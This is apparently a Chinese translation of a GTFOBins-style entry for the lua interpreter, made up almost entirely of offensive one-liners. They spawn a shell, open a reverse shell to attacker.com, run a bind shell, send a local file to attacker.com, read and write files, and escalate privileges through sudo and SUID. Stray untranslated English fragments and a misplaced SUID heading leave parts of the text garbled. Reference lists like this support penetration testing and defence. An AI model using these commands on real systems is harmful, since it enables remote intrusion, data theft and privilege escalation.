用来生成一个交互式的系统shell。
lua -e 'os.execute("/bin/sh")'
向监听端口发送一个非交互式反向shell。
在攻击者机器上运行nc -l -p 12345以接收shell。
nc -l -p 12345
on the attacker box to receive the shell. This requires `lua-socket` installed. export RHOST=attacker.com
export RPORT=12345
lua -e 'local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
while true do
local r,x=t:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();'
将一个非交互式的shell监听到本地端口,以允许远程网络访问。
运行 nc target.com 12345 来连接到该shell。
nc target.com 12345
on the attacker box to connect to the shell. This requires lua-socket
installed. export LPORT=12345
lua -e 'local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
while true do
local r,x=c:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();'
上传文件到外部。
nc -l -p 12345 > "file_to_save"
on the attacker box to collect the file. This requires lua-socket
installed. RHOST=attacker.com
RPORT=12345
LFILE=要发送的文件
lua -e '
local f=io.open(os.getenv("LFILE"), 'rb')
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
t:send(d);
t:close();'
下载远程文件。
nc target.com 12345 < "要发送的文件"
on the attacker box to send the file. This requires lua-socket
installed. export LPORT=12345
export LFILE=file_to_save
lua -e 'local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open(os.getenv("LFILE"), "wb");
f:write(d);
io.close(f);'
将数据写入文件中。
lua -e 'local f=io.open("要写入的文件", "wb"); f:write("DATA"); io.close(f);'
从文件中读取数据。
lua -e 'local f=io.open("要读取的文件路径", "rb"); print(f:read("*a")); io.close(f);'
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
lua -e 'local f=io.open("要读取的文件路径", "rb"); print(f:read("*a")); io.close(f);'
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo lua -e 'os.execute("/bin/sh")'
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
./lua -e 'os.execute("/bin/sh")'